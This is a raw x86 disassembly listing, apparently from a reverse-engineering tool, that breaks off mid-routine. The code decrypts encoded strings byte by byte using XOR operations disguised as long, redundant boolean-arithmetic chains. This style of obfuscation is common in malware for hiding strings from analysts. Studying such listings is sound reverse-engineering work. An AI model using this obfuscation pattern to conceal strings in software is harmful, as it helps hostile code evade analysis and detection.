mov cl, byte [0x101cb0d3]
xor cl, 0xfe
mov byte [0x101cb0e1], cl
mov cl, byte [0x101cb0d4]
xor cl, 0x17
mov byte [0x101cb0e2], cl
mov cl, byte [0x101cb0d5]
mov dl, cl
xor dl, 0x1b
xor dl, 0xff
and dl, 0x1b
shl dl, 1
sub dl, 0x1b
sub cl, dl
mov byte [0x101cb0e3], cl
mov dl, byte [0x101cb0d6]
mov cl, dl
xor cl, 0xff
and cl, 0x75
mov ch, 0xff
xor ch, 0x75
and dl, ch
or cl, dl
mov byte [0x101cb0e4], cl
mov dl, byte [str.__n__]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x25
mov dh, 0xff
xor dh, 0x25
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x25
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb0e5], cl
mov cl, byte [0x101cb180]
xor cl, 0xf7
mov byte [0x101cb1a0], cl
mov dl, byte [0x101cb181]
mov cl, dl
xor cl, 0xff
and cl, 0x83
mov ch, 0xff
xor ch, 0x83
and dl, ch
or cl, dl
mov byte [0x101cb1a1], cl
mov cl, byte [0x101cb182]
xor cl, 0x68
mov byte [0x101cb1a2], cl
mov cl, byte [0x101cb183]
mov dl, cl
xor dl, 0x68
xor dl, 0xff
and dl, 0x68
shl dl, 1
sub dl, 0x68
sub cl, dl
mov byte [0x101cb1a3], cl
mov dl, byte [0x101cb184]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xee
xor cl, 0xff
mov ch, 0xee
and ch, 0xee
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb1a4], cl
mov cl, byte [0x101cb185]
xor cl, 0xa0
mov byte [0x101cb1a5], cl
mov cl, byte [0x101cb186]
xor cl, 0x32
mov byte [0x101cb1a6], cl
mov dl, byte [0x101cb187]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x4b
mov dh, 0xff
xor dh, 0x4b
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x4b
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1a7], cl
mov cl, byte [0x101cb188]
xor cl, 0x43
mov byte [0x101cb1a8], cl
mov cl, byte [0x101cb189]
xor cl, 0xc0
mov byte [0x101cb1a9], cl
mov dl, byte [0x101cb18a]
mov cl, dl
xor cl, 0xff
and cl, 0xdf
mov ch, 0xff
xor ch, 0xdf
and dl, ch
or cl, dl
mov byte [0x101cb1aa], cl
mov cl, byte [0x101cb18b]
xor cl, 0xd7
mov byte [0x101cb1ab], cl
mov cl, byte [0x101cb18c]
mov dl, cl
xor dl, 0xa4
xor dl, 0xff
and dl, 0xa4
shl dl, 1
sub dl, 0xa4
sub cl, dl
mov byte [0x101cb1ac], cl
mov dh, byte [0x101cb18d]
mov cl, dh
xor cl, 0xff
and cl, 0x80
mov ch, 0xff
xor ch, 0x80
and dh, ch
mov dl, 0xff
xor dl, 0xd8
and dl, 0x80
and ch, 0xd8
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1ad], cl
mov cl, byte [0x101cb18e]
xor cl, 0xb
mov byte [0x101cb1ae], cl
mov cl, byte [0x101cb18f]
xor cl, 8
mov byte [0x101cb1af], cl
mov cl, byte [0x101cb190]
xor cl, 0xae
mov byte [0x101cb1b0], cl
mov dl, byte [0x101cb191]
mov cl, dl
xor cl, 0xff
and cl, 0xc8
mov ch, 0xff
xor ch, 0xc8
and dl, ch
or cl, dl
mov byte [0x101cb1b1], cl
mov cl, byte [0x101cb192]
mov dl, cl
and dl, 0xbc
shl dl, 1
add cl, 0xbc
sub cl, dl
mov byte [0x101cb1b2], cl
mov cl, byte [0x101cb193]
xor cl, 0xde
mov byte [0x101cb1b3], cl
mov dh, byte [0x101cb194]
mov cl, dh
xor cl, 0xff
and cl, 0xe9
mov ch, 0xff
xor ch, 0xe9
and dh, ch
mov dl, 0xff
xor dl, 0x24
and dl, 0xe9
and ch, 0x24
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1b4], cl
mov cl, byte [0x101cb195]
mov dl, cl
xor dl, 0xd6
xor dl, 0xff
and dl, 0xd6
shl dl, 1
sub dl, 0xd6
sub cl, dl
mov byte [0x101cb1b5], cl
mov cl, byte [0x101cb196]
xor cl, 0x54
mov byte [0x101cb1b6], cl
mov cl, byte [0x101cb197]
xor cl, 0xdf
mov byte [0x101cb1b7], cl
mov cl, byte [0x101cb214]
xor cl, 0x40
mov byte [0x101cb21d], cl
mov cl, byte [0x101cb215]
xor cl, 0xb5
mov byte [0x101cb21e], cl
mov cl, byte [0x101cb216]
xor cl, 0x94
mov byte [0x101cb21f], cl
mov cl, byte [0x101cb217]
xor cl, 0xf4
mov byte [0x101cb220], cl
mov cl, byte [0x101cb218]
xor cl, 0x88
mov byte [0x101cb221], cl
mov dl, byte [0x101cb219]
mov cl, dl
xor cl, 0xff
and cl, 0x56
mov ch, 0xff
xor ch, 0x56
and dl, ch
or cl, dl
mov byte [0x101cb222], cl
mov cl, byte [0x101cb21a]
mov dl, cl
and dl, 0x38
shl dl, 1
add cl, 0x38
sub cl, dl
mov byte [0x101cb223], cl
mov cl, byte [0x101cb21b]
xor cl, 0x67
mov byte [0x101cb224], cl
mov cl, byte [0x101cb21c]
xor cl, 9
mov byte [0x101cb225], cl
mov cl, byte [0x101cb287]
mov dl, cl
and dl, 0xa9
shl dl, 1
add cl, 0xa9
sub cl, dl
mov byte [0x101cb296], cl
mov cl, byte [0x101cb288]
xor cl, 0x40
mov byte [0x101cb297], cl
mov cl, byte [0x101cb289]
xor cl, 0x6c
mov byte [0x101cb298], cl
mov cl, byte [0x101cb28a]
xor cl, 0xda
mov byte [0x101cb299], cl
mov dl, byte [0x101cb28b]
mov cl, dl
xor cl, 0xff
and cl, 0xf3
mov ch, 0xff
xor ch, 0xf3
and dl, ch
or cl, dl
mov byte [0x101cb29a], cl
mov cl, byte [0x101cb28c]
xor cl, 0x98
mov byte [0x101cb29b], cl
mov dl, byte [0x101cb28d]
mov cl, dl
xor cl, 0xff
and cl, 0x43
mov ch, 0xff
xor ch, 0x43
and dl, ch
or cl, dl
mov byte [0x101cb29c], cl
mov dl, byte [0x101cb28e]
mov cl, dl
xor cl, 0xff
and cl, 0xd2
mov ch, 0xff
xor ch, 0xd2
and dl, ch
or cl, dl
mov byte [0x101cb29d], cl
mov dl, byte [0x101cb28f]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x82
xor cl, 0xff
mov ch, 0xff
xor ch, 0x82
mov dh, 0xff
xor dh, 0x82
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb29e], cl
mov dl, byte [0x101cb290]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb1
or cl, ch
mov ch, 0xff
xor ch, 0xb1
mov dh, 0xff
xor dh, 0xb1
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb29f], cl
mov cl, byte [0x101cb291]
xor cl, 0x36
mov byte [0x101cb2a0], cl
mov cl, byte [0x101cb292]
xor cl, 0xf1
mov byte [0x101cb2a1], cl
mov cl, byte [0x101cb293]
xor cl, 0x87
mov byte [0x101cb2a2], cl
mov dl, byte [0x101cb294]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 9
or ch, 9
xor ch, 0xff
or cl, ch
xor cl, 0xff
or dl, 9
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb2a3], cl
mov cl, byte [0x101cb295]
mov dl, cl
and dl, 0x12
shl dl, 1
add cl, 0x12
sub cl, dl
mov byte [0x101cb2a4], cl
mov dl, byte [0x101cb1f6]
mov cl, dl
xor cl, 0xff
and cl, 0xa
mov ch, 0xff
xor ch, 0xa
and dl, ch
or cl, dl
mov byte [0x101cb205], cl
mov dl, byte [0x101cb1f7]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xab
xor cl, 0xff
mov ch, 0xff
xor ch, 0xab
mov dh, 0xff
xor dh, 0xab
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb206], cl
mov cl, byte [0x101cb1f8]
mov dl, cl
xor dl, 0x74
xor dl, 0xff
and dl, 0x74
shl dl, 1
sub dl, 0x74
sub cl, dl
mov byte [0x101cb207], cl
mov cl, byte [0x101cb1f9]
xor cl, 0x52
mov byte [0x101cb208], cl
mov dl, byte [0x101cb1fa]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x50
xor cl, 0xff
mov ch, 0xff
xor ch, 0x50
mov dh, 0xff
xor dh, 0x50
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb209], cl
mov cl, byte [0x101cb1fb]
xor cl, 0xa9
mov byte [0x101cb20a], cl
mov cl, byte [0x101cb1fc]
xor cl, 0xc0
mov byte [0x101cb20b], cl
mov cl, byte [0x101cb1fd]
xor cl, 0x78
mov byte [0x101cb20c], cl
mov dl, byte [0x101cb1fe]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xdc
or cl, ch
mov ch, 0xff
xor ch, 0xdc
mov dh, 0xff
xor dh, 0xdc
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb20d], cl
mov cl, byte [0x101cb1ff]
xor cl, 0xa
mov byte [0x101cb20e], cl
mov cl, byte [0x101cb200]
xor cl, 0x25
mov byte [0x101cb20f], cl
mov cl, byte [0x101cb201]
xor cl, 0x36
mov byte [0x101cb210], cl
mov cl, byte [0x101cb202]
xor cl, 0xe3
mov byte [0x101cb211], cl
mov cl, byte [str.zu_ng7]
mov dl, cl
and dl, 0x12
shl dl, 1
add cl, 0x12
sub cl, dl
mov byte [0x101cb212], cl
mov cl, byte [0x101cb204]
xor cl, 0x75
mov byte [0x101cb213], cl
mov dl, byte [0x101cb0e6]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xfc
or cl, ch
mov ch, 0xfc
and ch, 0xfc
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb0f6], cl
mov dh, byte [0x101cb0e7]
mov cl, dh
xor cl, 0xff
and cl, 0x46
mov ch, 0xff
xor ch, 0x46
and dh, ch
mov dl, 0xff
xor dl, 0x50
and dl, 0x46
and ch, 0x50
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb0f7], cl
mov cl, byte [0x101cb0e8]
xor cl, 0x31
mov byte [0x101cb0f8], cl
mov cl, byte [0x101cb0e9]
xor cl, 0xde
mov byte [0x101cb0f9], cl
mov dl, byte [0x101cb0ea]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x3a
mov dh, 0xff
xor dh, 0x3a
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x3a
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb0fa], cl
mov cl, byte [0x101cb0eb]
xor cl, 0xf8
mov byte [0x101cb0fb], cl
mov cl, byte [0x101cb0ec]
xor cl, 0xb8
mov byte [0x101cb0fc], cl
mov dl, byte [0x101cb0ed]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xe9
or cl, ch
mov ch, 0xff
xor ch, 0xe9
mov dh, 0xff
xor dh, 0xe9
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb0fd], cl
mov cl, byte [0x101cb0ee]
xor cl, 0x38
mov byte [0x101cb0fe], cl
mov cl, byte [0x101cb0ef]
xor cl, 0xae
mov byte [0x101cb0ff], cl
mov cl, byte [0x101cb0f0]
xor cl, 0xf6
mov byte [0x101cb100], cl
mov dl, byte [0x101cb0f1]
mov cl, dl
xor cl, 0xff
and cl, 0x27
mov ch, 0xff
xor ch, 0x27
and dl, ch
or cl, dl
mov byte [0x101cb101], cl
mov cl, byte [0x101cb0f2]
xor cl, 0xe5
mov byte [0x101cb102], cl
mov dl, byte [0x101cb0f3]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xad
mov dh, 0xff
xor dh, 0xad
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 0xad
and dl, ch
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb103], cl
mov cl, byte [0x101cb0f4]
xor cl, 0x12
mov byte [0x101cb104], cl
mov cl, byte [0x101cb0f5]
xor cl, 0xe8
mov byte [0x101cb105], cl
mov dl, byte [0x101cb120]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xe7
or cl, ch
mov ch, 0xe7
and ch, 0xe7
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb150], cl
mov cl, byte [0x101cb121]
mov dl, cl
xor dl, 0xa3
xor dl, 0xff
and dl, 0xa3
shl dl, 1
sub dl, 0xa3
sub cl, dl
mov byte [0x101cb151], cl
mov cl, byte [0x101cb122]
mov dl, cl
xor dl, 0xdb
xor dl, 0xff
and dl, 0xdb
shl dl, 1
sub dl, 0xdb
sub cl, dl
mov byte [0x101cb152], cl
mov cl, byte [0x101cb123]
xor cl, 0x94
mov byte [0x101cb153], cl
mov cl, byte [0x101cb124]
xor cl, 0xa0
mov byte [0x101cb154], cl
mov dl, byte [0x101cb125]
mov cl, dl
xor cl, 0xff
and cl, 0xe4
mov ch, 0xff
xor ch, 0xe4
and dl, ch
or cl, dl
mov byte [0x101cb155], cl
mov dl, byte [0x101cb126]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0x70
or ch, 0x70
xor ch, 0xff
xor cl, 0xff
xor ch, 0xff
and cl, ch
xor dl, 0xff
mov ch, 0xff
xor ch, 0x70
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb156], cl
mov cl, byte [0x101cb127]
xor cl, 0xf
mov byte [0x101cb157], cl
mov dl, byte [0x101cb128]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xd
mov dh, 0xff
xor dh, 0xd
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0xd
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb158], cl
mov cl, byte [0x101cb129]
xor cl, 0x14
mov byte [0x101cb159], cl
mov cl, byte [0x101cb12a]
mov dl, cl
and dl, 0x5a
shl dl, 1
add cl, 0x5a
sub cl, dl
mov byte [0x101cb15a], cl
mov dl, byte [0x101cb12b]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 2
or cl, ch
mov ch, 2
and ch, 2
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
and cl, dl
xor cl, 0xff
mov byte [0x101cb15b], cl
mov dl, byte [0x101cb12c]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xcd
or cl, ch
mov ch, 0xcd
and ch, 0xcd
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb15c], cl
mov cl, byte [0x101cb12d]
mov dl, cl
xor dl, 0x11
xor dl, 0xff
and dl, 0x11
shl dl, 1
sub dl, 0x11
sub cl, dl
mov byte [0x101cb15d], cl
mov cl, byte [0x101cb12e]
mov dl, cl
and dl, 0xb9
shl dl, 1
add cl, 0xb9
sub cl, dl
mov byte [0x101cb15e], cl
mov dl, byte [0x101cb12f]
mov cl, dl
xor cl, 0xff
and cl, 0xce
mov ch, 0xff
xor ch, 0xce
and dl, ch
or cl, dl
mov byte [0x101cb15f], cl
mov dl, byte [0x101cb130]
mov cl, dl
xor cl, 0xff
and cl, 0x51
mov ch, 0xff
xor ch, 0x51
and dl, ch
or cl, dl
mov byte [0x101cb160], cl
mov dl, byte [0x101cb131]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0xe7
xor cl, 0xff
mov ch, 0xe7
and ch, 0xe7
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb161], cl
mov cl, byte [0x101cb132]
mov dl, cl
and dl, 0x8d
shl dl, 1
add cl, 0x8d
sub cl, dl
mov byte [0x101cb162], cl
mov dl, byte [0x101cb133]
mov cl, dl
xor cl, 0xff
and cl, 0x95
mov ch, 0xff
xor ch, 0x95
and dl, ch
or cl, dl
mov byte [0x101cb163], cl
mov cl, byte [0x101cb134]
mov dl, cl
xor dl, 0x5c
xor dl, 0xff
and dl, 0x5c
shl dl, 1
sub dl, 0x5c
sub cl, dl
mov byte [0x101cb164], cl
mov cl, byte [0x101cb135]
xor cl, 0x1c
mov byte [0x101cb165], cl
mov dl, byte [0x101cb136]
mov cl, dl
xor cl, 0xff
and cl, 0xc1
mov ch, 0xff
xor ch, 0xc1
and dl, ch
or cl, dl
mov byte [0x101cb166], cl
mov cl, byte [0x101cb137]
mov dl, cl
and dl, 0x65
shl dl, 1
add cl, 0x65
sub cl, dl
mov byte [0x101cb167], cl
mov cl, byte [0x101cb138]
xor cl, 0x5c
mov byte [0x101cb168], cl
mov dl, byte [0x101cb139]
mov cl, dl
xor cl, 0xff
and cl, 0x41
mov ch, 0xff
xor ch, 0x41
and dl, ch
or cl, dl
mov byte [0x101cb169], cl
mov cl, byte [0x101cb13a]
mov dl, cl
xor dl, 0x87
xor dl, 0xff
and dl, 0x87
shl dl, 1
sub dl, 0x87
sub cl, dl
mov byte [0x101cb16a], cl
mov cl, byte [0x101cb13b]
mov dl, cl
xor dl, 0xca
xor dl, 0xff
and dl, 0xca
shl dl, 1
sub dl, 0xca
sub cl, dl
mov byte [0x101cb16b], cl
mov dl, byte [0x101cb13c]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0xbe
or cl, ch
mov ch, 0xff
xor ch, 0xbe
mov dh, 0xff
xor dh, 0xbe
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb16c], cl
mov dl, byte [0x101cb13d]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x7c
or cl, ch
mov ch, 0x7c
and ch, 0x7c
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb16d], cl
mov cl, byte [0x101cb13e]
xor cl, 0x86
mov byte [0x101cb16e], cl
mov dl, byte [0x101cb13f]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xb6
mov dh, 0xff
xor dh, 0xb6
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xb6
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101cb16f], cl
mov cl, byte [0x101cb140]
xor cl, 0xe4
mov byte [0x101cb170], cl
mov cl, byte [0x101cb1b8]
xor cl, 0x8e
mov byte [0x101cb1c5], cl
mov cl, byte [0x101cb1b9]
xor cl, 0x47
mov byte [0x101cb1c6], cl
mov cl, byte [0x101cb1ba]
mov dl, cl
xor dl, 0xe3
xor dl, 0xff
and dl, 0xe3
shl dl, 1
sub dl, 0xe3
sub cl, dl
mov byte [0x101cb1c7], cl
mov dl, byte [0x101cb1bb]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 2
mov dh, 0xff
xor dh, 2
and ch, dh
or cl, ch
xor cl, 0xff
xor dl, 0xff
mov ch, 0xff
xor ch, 2
and dl, ch
or cl, dl
xor cl, 0xff
mov byte [0x101cb1c8], cl
mov cl, byte [0x101cb1bc]
mov dl, cl
and dl, 0x81
shl dl, 1
add cl, 0x81
sub cl, dl
mov byte [0x101cb1c9], cl
mov dl, byte [0x101cb1bd]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x84
or cl, ch
mov ch, 0x84
and ch, 0x84
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb1ca], cl
mov cl, byte [0x101cb1be]
xor cl, 0x60
mov byte [0x101cb1cb], cl
mov cl, byte [0x101cb1bf]
xor cl, 0xfa
mov byte [0x101cb1cc], cl
mov dl, byte [0x101cb1c0]
mov cl, dl
xor cl, 0xff
and cl, 0x8d
mov ch, 0xff
xor ch, 0x8d
and dl, ch
or cl, dl
mov byte [0x101cb1cd], cl
mov cl, byte [0x101cb1c1]
xor cl, 0xf8
mov byte [0x101cb1ce], cl
mov cl, byte [0x101cb1c2]
mov dl, cl
xor dl, 0x1e
xor dl, 0xff
and dl, 0x1e
shl dl, 1
sub dl, 0x1e
sub cl, dl
mov byte [0x101cb1cf], cl
mov dl, byte [0x101cb1c3]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x64
mov dh, 0xff
xor dh, 0x64
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x64
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb1d0], cl
mov cl, byte [0x101cb1c4]
mov dl, cl
xor dl, 0x9b
xor dl, 0xff
and dl, 0x9b
shl dl, 1
sub dl, 0x9b
sub cl, dl
mov byte [0x101cb1d1], cl
mov cl, byte [0x101cb1d2]
mov dl, cl
and dl, 0xc9
shl dl, 1
add cl, 0xc9
sub cl, dl
mov byte [0x101cb1db], cl
mov cl, byte [0x101cb1d3]
xor cl, 0x80
mov byte [0x101cb1dc], cl
mov dl, byte [0x101cb1d4]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xa
or cl, ch
mov ch, 0xa
and ch, 0xa
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb1dd], cl
mov cl, byte [0x101cb1d5]
xor cl, 0xa7
mov byte [0x101cb1de], cl
mov dh, byte [0x101cb1d6]
mov cl, dh
xor cl, 0xff
and cl, 0xeb
mov ch, 0xff
xor ch, 0xeb
and dh, ch
mov dl, 0xff
xor dl, 0xb8
and dl, 0xeb
and ch, 0xb8
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb1df], cl
mov cl, byte [0x101cb1d7]
xor cl, 0xfd
mov byte [0x101cb1e0], cl
mov cl, byte [0x101cb1d8]
xor cl, 0x8b
mov byte [0x101cb1e1], cl
mov cl, byte [0x101cb1d9]
xor cl, 0x6c
mov byte [0x101cb1e2], cl
mov cl, byte [0x101cb1da]
xor cl, 0x89
mov byte [0x101cb1e3], cl
mov cl, byte [0x101cb343]
xor cl, 0x2c
mov byte [0x101cb352], cl
mov cl, byte [0x101cb344]
xor cl, 0x94
mov byte [0x101cb353], cl
mov cl, byte [0x101cb345]
xor cl, 0xf4
mov byte [0x101cb354], cl
mov dl, byte [str.lk9]
mov cl, dl
xor cl, 0xff
and cl, 4
mov ch, 0xff
xor ch, 4
and dl, ch
or cl, dl
mov byte [0x101cb355], cl
mov cl, byte [0x101cb347]
xor cl, 0x52
mov byte [0x101cb356], cl
mov cl, byte [0x101cb348]
mov dl, cl
and dl, 0x18
shl dl, 1
add cl, 0x18
sub cl, dl
mov byte [0x101cb357], cl
mov cl, byte [0x101cb349]
xor cl, 0x4d
mov byte [0x101cb358], cl
mov cl, byte [0x101cb34a]
xor cl, 0xfd
mov byte [0x101cb359], cl
mov dl, byte [0x101cb34b]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0xa5
mov dh, 0xff
xor dh, 0xa5
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xa5
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb35a], cl
mov cl, byte [0x101cb34c]
xor cl, 0xb3
mov byte [0x101cb35b], cl
mov dl, byte [0x101cb34d]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0x2c
xor cl, 0xff
mov ch, 0x2c
and ch, 0x2c
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb35c], cl
mov dl, byte [0x101cb34e]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0xb5
mov dh, 0xff
xor dh, 0xb5
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0xb5
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101cb35d], cl
mov cl, byte [0x101cb34f]
xor cl, 0x65
mov byte [0x101cb35e], cl
mov dh, byte [0x101cb350]
mov cl, dh
xor cl, 0xff
and cl, 0xc6
mov ch, 0xff
xor ch, 0xc6
and dh, ch
mov dl, 0xff
xor dl, 0xb1
and dl, 0xc6
and ch, 0xb1
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb35f], cl
mov cl, byte [0x101cb351]
xor cl, 0x8c
mov byte [0x101cb360], cl
mov dl, byte [0x101cb323]
mov cl, dl
xor cl, 0xff
and cl, 0x22
mov ch, 0xff
xor ch, 0x22
and dl, ch
or cl, dl
mov byte [0x101cb32b], cl
mov dl, byte [0x101cb324]
mov cl, dl
xor cl, 0xff
and cl, 0xe
mov ch, 0xff
xor ch, 0xe
and dl, ch
or cl, dl
mov byte [0x101cb32c], cl
mov dl, byte [0x101cb325]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x52
xor cl, 0xff
mov ch, 0xff
xor ch, 0x52
mov dh, 0xff
xor dh, 0x52
or ch, dh
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb32d], cl
mov cl, byte [0x101cb326]
mov dl, cl
xor dl, 0x73
xor dl, 0xff
and dl, 0x73
shl dl, 1
sub dl, 0x73
sub cl, dl
mov byte [0x101cb32e], cl
mov cl, byte [0x101cb327]
xor cl, 0xb9
mov byte [0x101cb32f], cl
mov dl, byte [0x101cb328]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xf7
xor cl, 0xff
mov ch, 0xf7
and ch, 0xf7
xor ch, 0xff
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb330], cl
mov cl, byte [0x101cb329]
xor cl, 0x54
mov byte [0x101cb331], cl
mov cl, byte [0x101cb32a]
xor cl, 0x32
mov byte [0x101cb332], cl
mov cl, byte [0x101cb333]
mov dl, cl
xor dl, 0xb9
xor dl, 0xff
and dl, 0xb9
shl dl, 1
sub dl, 0xb9
sub cl, dl
mov byte [0x101cb33b], cl
mov cl, byte [0x101cb334]
xor cl, 5
mov byte [0x101cb33c], cl
mov cl, byte [0x101cb335]
mov dl, cl
xor dl, 0x12
xor dl, 0xff
and dl, 0x12
shl dl, 1
sub dl, 0x12
sub cl, dl
mov byte [0x101cb33d], cl
mov dh, byte [0x101cb336]
mov cl, dh
xor cl, 0xff
and cl, 0x94
mov ch, 0xff
xor ch, 0x94
and dh, ch
mov dl, 0xff
xor dl, 0xea
and dl, 0x94
and ch, 0xea
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101cb33e], cl
mov cl, byte [0x101cb337]
xor cl, 0xfa
mov byte [0x101cb33f], cl
mov cl, byte [0x101cb338]
xor cl, 0xa7
mov byte [0x101cb340], cl
mov dl, byte [str.mY_hiK]
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
mov ch, 0xff
xor ch, 0x5f
or cl, ch
mov ch, 0x5f
and ch, 0x5f
xor ch, 0xff
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb341], cl
mov cl, byte [0x101cb33a]
mov dl, cl
xor dl, 0x59
xor dl, 0xff
and dl, 0x59
shl dl, 1
sub dl, 0x59
sub cl, dl
mov byte [0x101cb342], cl
mov cl, byte [0x101cb30b]
mov dl, cl
and dl, 0x6d
shl dl, 1
add cl, 0x6d
sub cl, dl
mov byte [0x101cb317], cl
mov cl, byte [0x101cb30c]
xor cl, 0x94
mov byte [0x101cb318], cl
mov cl, byte [0x101cb30d]
xor cl, 0xa5
mov byte [0x101cb319], cl
mov cl, byte [0x101cb30e]
xor cl, 0x8e
mov byte [0x101cb31a], cl
mov cl, byte [0x101cb30f]
xor cl, 0x8e
mov byte [0x101cb31b], cl
mov dl, byte [0x101cb310]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
and cl, 0x48
